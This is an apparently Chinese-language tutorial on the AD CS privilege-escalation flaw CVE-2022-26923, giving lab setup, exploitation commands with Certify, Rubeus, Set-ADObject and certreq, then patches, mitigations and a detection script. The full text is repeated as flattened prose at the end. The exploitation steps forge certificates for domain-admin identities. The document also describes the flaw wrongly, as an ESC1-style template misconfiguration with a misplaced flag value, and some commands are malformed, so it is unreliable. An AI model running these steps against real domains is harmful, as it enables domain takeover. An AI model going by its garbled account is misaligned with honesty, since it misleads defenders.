域内权限提升新姿势:CVE-2022–26923漏洞分析及复现
字数 1752 2025-08-07 00:35:04

域内权限提升漏洞CVE-2022-26923分析与复现指南

1. 漏洞概述

CVE-2022-26923是微软Active Directory证书服务(AD CS)中的一个权限提升漏洞,由研究员Oliver Lyak发现并报告。该漏洞允许低权限域用户通过操纵证书模板属性,获取域管理员权限,从而完全控制整个Active Directory域。

漏洞影响

  • 影响组件:Active Directory证书服务(AD CS)
  • 影响版本:所有Windows Server版本(在2022年5月补丁前)
  • CVSS评分:8.8(高危)
  • 利用前提:域内普通用户权限

2. 漏洞原理分析

2.1 AD CS工作机制

AD CS是微软的公钥基础设施(PKI)实现,用于颁发和管理数字证书。关键组件包括:

  • 证书颁发机构(CA):负责颁发证书
  • 证书模板:定义证书属性和颁发规则
  • 证书注册服务:处理证书请求

2.2 漏洞根源

漏洞存在于AD CS对证书模板中msPKI-Certificate-Name-Flag属性的验证机制。攻击者可以:

  1. 修改证书模板的mspki-enrollment-flag属性,设置CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT标志
  2. 在证书请求中指定任意Subject Alternative Name (SAN)
  3. 通过精心构造的SAN欺骗AD CS,使其误认为请求来自高权限账户(如域管理员)

2.3 技术细节

关键点在于:

  • AD CS默认不验证请求者是否有权使用指定的SAN
  • CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT启用时,请求者可完全控制SAN
  • 结合ESC1漏洞模式(证书模板允许客户端认证且允许低权限用户注册)

3. 环境搭建

3.1 实验环境要求

  • 域控制器:Windows Server 2016/2019
  • 成员服务器:安装AD CS服务
  • 客户端:Windows 10/11加入域
  • 域用户:至少一个普通域用户账户

3.2 AD CS安装步骤

  1. 在成员服务器上添加"Active Directory证书服务"角色
  2. 选择"证书颁发机构"和"证书颁发机构Web注册"功能
  3. 配置为企业CA(非独立CA)
  4. 设置CA名称和有效期
  5. 完成安装后,发布证书模板

4. 漏洞复现

4.1 前期准备

  1. 确认域环境:

    whoami /all
    nltest /domain_trusts
    
  2. 枚举证书模板(使用PowerShell):

    Get-ADObject -SearchBase (Get-ADRootDSE).ConfigurationNamingContext -LDAPFilter "(objectClass=pkicertificatetemplate)"
    
  3. 查找可利用的模板(具有以下属性):

    • mspki-enrollment-flag包含CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
    • 启用客户端认证
    • 低权限用户可注册

4.2 利用步骤

方法一:使用Certify工具

  1. 下载并编译Certify:

    git clone https://github.com/GhostPack/Certify
    
  2. 枚举证书模板:

    .\Certify.exe find /vulnerable
    
  3. 请求恶意证书:

    .\Certify.exe request /ca:"dc01\domain-DC01-CA" /template:"VulnerableTemplate" /altname:"domain\Domain Admins"
    
  4. 使用Rubeus请求TGT:

    .\Rubeus.exe asktgt /user:"Domain Admins" /certificate:base64encodedcert /ptt
    

方法二:手动操作

  1. 使用PowerShell AD模块修改模板:

    $template = Get-ADObject -SearchBase (Get-ADRootDSE).ConfigurationNamingContext -LDAPFilter "(name=VulnerableTemplate)"
    Set-ADObject -Identity $template.DistinguishedName -Replace @{'mspki-enrollment-flag'=0x20}
    
  2. 使用certreq.exe请求证书:

    certreq -attrib "SAN:upn=domainadmin@domain.com" -submit .\request.inf .\cert.cer
    
  3. 转换证书格式并请求TGT(同方法一)

5. 防御措施

5.1 官方补丁

安装微软2022年5月安全更新:

  • KB5014754 - Windows Server 2012 R2
  • KB5014746 - Windows Server 2016
  • KB5014655 - Windows Server 2019/2022

5.2 缓解措施

  1. 禁用易受攻击的证书模板

  2. 限制证书模板的注册权限:

    Disable-CertificateTemplate -Name "VulnerableTemplate"
    
  3. 启用证书请求审核:

    certutil -setreg CA\AuditFilter 127
    
  4. 实施证书模板强化:

    • 移除不必要的CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT标志
    • 限制低权限用户的注册权限
    • 为敏感模板启用CA证书管理器批准

6. 检测方法

6.1 SIEM规则

监控以下事件:

  • 4768: Kerberos认证(TGT请求)使用证书
  • 4886: 证书请求包含异常SAN
  • 4887: 证书服务模板修改

6.2 PowerShell检测脚本

# 检测易受攻击的证书模板
$templates = Get-ADObject -SearchBase (Get-ADRootDSE).ConfigurationNamingContext -LDAPFilter "(objectClass=pkicertificatetemplate)"
foreach($template in $templates) {
    $flags = [int]$template.'mspki-enrollment-flag'
    if(($flags -band 0x20) -eq 0x20) {
        Write-Warning "潜在易受攻击模板: $($template.Name)"
    }
}

7. 总结

CVE-2022-26923是一个严重的域内权限提升漏洞,攻击者可以从普通域用户提升到域管理员权限。该漏洞利用AD CS组件中的证书模板配置缺陷,结合精心构造的证书请求实现权限提升。企业应及时应用补丁并审查证书模板配置,特别是那些允许用户提供主题名称的模板。

域内权限提升漏洞CVE-2022-26923分析与复现指南 1. 漏洞概述 CVE-2022-26923是微软Active Directory证书服务(AD CS)中的一个权限提升漏洞,由研究员Oliver Lyak发现并报告。该漏洞允许低权限域用户通过操纵证书模板属性,获取域管理员权限,从而完全控制整个Active Directory域。 漏洞影响 : 影响组件:Active Directory证书服务(AD CS) 影响版本:所有Windows Server版本(在2022年5月补丁前) CVSS评分:8.8(高危) 利用前提:域内普通用户权限 2. 漏洞原理分析 2.1 AD CS工作机制 AD CS是微软的公钥基础设施(PKI)实现,用于颁发和管理数字证书。关键组件包括: 证书颁发机构(CA):负责颁发证书 证书模板:定义证书属性和颁发规则 证书注册服务:处理证书请求 2.2 漏洞根源 漏洞存在于AD CS对证书模板中 msPKI-Certificate-Name-Flag 属性的验证机制。攻击者可以: 修改证书模板的 mspki-enrollment-flag 属性,设置 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标志 在证书请求中指定任意Subject Alternative Name (SAN) 通过精心构造的SAN欺骗AD CS,使其误认为请求来自高权限账户(如域管理员) 2.3 技术细节 关键点在于: AD CS默认不验证请求者是否有权使用指定的SAN 当 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 启用时,请求者可完全控制SAN 结合 ESC1 漏洞模式(证书模板允许客户端认证且允许低权限用户注册) 3. 环境搭建 3.1 实验环境要求 域控制器:Windows Server 2016/2019 成员服务器:安装AD CS服务 客户端:Windows 10/11加入域 域用户:至少一个普通域用户账户 3.2 AD CS安装步骤 在成员服务器上添加"Active Directory证书服务"角色 选择"证书颁发机构"和"证书颁发机构Web注册"功能 配置为企业CA(非独立CA) 设置CA名称和有效期 完成安装后,发布证书模板 4. 漏洞复现 4.1 前期准备 确认域环境: 枚举证书模板(使用PowerShell): 查找可利用的模板(具有以下属性): mspki-enrollment-flag 包含 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 启用客户端认证 低权限用户可注册 4.2 利用步骤 方法一:使用Certify工具 下载并编译Certify: 枚举证书模板: 请求恶意证书: 使用Rubeus请求TGT: 方法二:手动操作 使用PowerShell AD模块修改模板: 使用certreq.exe请求证书: 转换证书格式并请求TGT(同方法一) 5. 防御措施 5.1 官方补丁 安装微软2022年5月安全更新: KB5014754 - Windows Server 2012 R2 KB5014746 - Windows Server 2016 KB5014655 - Windows Server 2019/2022 5.2 缓解措施 禁用易受攻击的证书模板 限制证书模板的注册权限: 启用证书请求审核: 实施证书模板强化: 移除不必要的 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标志 限制低权限用户的注册权限 为敏感模板启用CA证书管理器批准 6. 检测方法 6.1 SIEM规则 监控以下事件: 4768: Kerberos认证(TGT请求)使用证书 4886: 证书请求包含异常SAN 4887: 证书服务模板修改 6.2 PowerShell检测脚本 7. 总结 CVE-2022-26923是一个严重的域内权限提升漏洞,攻击者可以从普通域用户提升到域管理员权限。该漏洞利用AD CS组件中的证书模板配置缺陷,结合精心构造的证书请求实现权限提升。企业应及时应用补丁并审查证书模板配置,特别是那些允许用户提供主题名称的模板。